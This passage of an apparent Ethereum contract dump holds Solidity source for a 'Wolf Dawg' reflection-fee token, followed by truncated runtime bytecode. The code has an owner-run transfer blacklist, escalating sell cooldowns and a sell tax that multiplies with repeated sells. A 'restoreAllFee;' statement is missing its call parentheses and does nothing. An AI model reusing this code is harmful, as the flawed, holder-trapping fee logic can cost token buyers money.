emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (8 hours);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613212565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d99565b610418565b60405161016d91906131f7565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613394565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4a565b610447565b6040516101d591906131f7565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b6040516102009190613409565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd5565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbc565b61064d565b60405161027d9190613394565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf9190613129565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613212565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d99565b610857565b60405161032791906131f7565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e27565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0e565b610b03565b6040516103bb9190613394565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600981526020017f576f6c6620446177670000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120389092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f4565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209c565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612197565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f574f4c4644415747000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612205565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f4565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f4565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b4565b60405180910390fd5b610ac16064610ab383683635c9adc5dea000006124ff90919063ffffffff16565b61257a90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613394565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce5565b6040518363ffffffff1660e01b8152600401610de4929190613144565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce5565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613196565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e50565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316d565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dfe565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613354565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613274565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613394565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613334565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613234565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613314565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7557601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613374565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e426118809190613479565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f73576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b6124ff90919063ffffffff16565b61257a90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e9190613479565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613628565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba99190613479565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613628565b9190505550611c2042611c9c9190613479565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613628565b919050555061546042611d8f9190613479565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f06565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0557600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613628565b9190505550617080600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec19190613479565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1181612205565b60004790506000811115611f2957611f284761209c565b5b611f71600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c4565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202657600090505b612032848484846125ed565b50505050565b6000838311158290612080576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120779190613212565b60405180910390fd5b506000838561208f919061355a565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ec60028461257a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612117573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216860028461257a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612193573d6000803e3d6000fd5b5050565b60006006548211156121de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d590613254565b60405180910390fd5b60006121e861262c565b90506121fd818461257a90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612263577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122915781602001602082028036833780820191505090505b50905030816000815181106122cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237157600080fd5b505afa158015612385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123a99190612ce5565b816001815181106123e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244a30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124ae9594939291906133af565b600060405180830381600087803b1580156124c857600080fd5b505af11580156124dc573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125125760009050612574565b600082846125209190613500565b905082848261252f91906134cf565b1461256f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612566906132d4565b60405180910390fd5b809150505b92915050565b60006125bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612657565b905092915050565b806008546125d29190613500565b60088190555060018111156125ea57600a6009819055505b50565b806125fb576125fa6126ba565b5b6126068484846126eb565b806126145761261361261a565b5b50505050565b60076008819055506005600981905550565b60008060006126396128b6565b91509150612650818361257a90919063ffffffff16565b9250505090565b6000808311829061269e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126959190613212565b60405180910390fd5b50600083856126ad91906134cf565b9050809150509392505050565b60006008541480156126ce57506000600954145b156126d8576126e9565b600060088190555060006009819055505b565b6000806000806000806126fd87612918565b95509550955095509550955061275b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ca90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283c81612a28565b6128468483612ae5565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a39190613394565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ec683635c9adc5dea0000060065461257a90919063ffffffff16565b82101561290b57600654683635c9adc5dea00000935093505050612914565b81819350935050505b9091565b60008060008060008060008060006129358a600854600954612b1f565b925092509250600061294561262c565b905060008060006129588e878787612bb5565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612038565b905092915050565b60008082846129d99190613479565b905083811015612a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1590613294565b60405180910390fd5b8091505092915050565b6000612a3261262c565b90506000612a4982846124ff90919063ffffffff16565b9050612a9d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ca90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afa8260065461298090919063ffffffff16565b600681905550612b15816007546129ca90919063ffffffff16565b6007819055505050565b600080600080612b4b6064612b3d888a6124ff90919063ffffffff16565b61257a90919063ffffffff16565b90506000612b756064612b67888b6124ff90919063ffffffff16565b61257a90919063ffffffff16565b90506000612b9e82612b90858c61298090919063ffffffff16565b61298090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bce85896124ff90919063ffffffff16565b90506000612be586896124ff90919063ffffffff16565b90506000612bfc87896124ff90919063ffffffff16565b90506000612c2582612c17858761298090919063ffffffff16565b61298090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4d816139ad565b92915050565b600081519050612c62816139ad565b92915050565b600081359050612c77816139c4565b92915050565b600081519050612c8c816139c4565b92915050565b600081359050612ca1816139db565b92915050565b600081519050612cb6816139db565b92915050565b600060208284031215612cce57600080fd5b6000612cdc84828501612c3e565b91505092915050565b600060208284031215612cf757600080fd5b6000612d0584828501612c53565b91505092915050565b60008060408385031215612d2157600080fd5b6000612d2f85828601612c3e565b9250506020612d4085828601612c3e565b9150509250929050565b600080600060608486031215612d5f57600080fd5b6000612d6d86828701612c3e565b9350506020612d7e86828701612c3e565b9250506040612d8f86828701612c92565b9150509250925092565b60008060408385031215612dac57600080fd5b6000612dba85828601612c3e565b9250506020612dcb85828601612c92565b9150509250929050565b600060208284031215612de757600080fd5b6000612df584828501612c68565b91505092915050565b600060208284031215612e1057600080fd5b6000612e1e84828501612c7d565b91505092915050565b600060208284031215612e3957600080fd5b6000612e4784828501612c92565b91505092915050565b600080600060608486031215612e6557600080fd5b6000612e7386828701612ca7565b9350506020612e8486828701612ca7565b9250506040612e9586828701612ca7565b9150509250925092565b6000612eab8383612eb7565b60208301905092915050565b612ec08161358e565b82525050565b612ecf8161358e565b82525050565b6000612ee082613434565b612eea8185613457565b9350612ef583613424565b8060005b83811015612f26578151612f0d8882612e9f565b9750612f188361344a565b925050600181019050612ef9565b5085935050505092915050565b612f3c816135a0565b82525050565b612f4b816135e3565b82525050565b6000612f5c8261343f565b612f668185613468565b9350612f768185602086016135f5565b612f7f816136cf565b840191505092915050565b6000612f97602383613468565b9150612fa2826136e0565b604082019050919050565b6000612fba602a83613468565b9150612fc58261372f565b604082019050919050565b6000612fdd602283613468565b9150612fe88261377e565b604082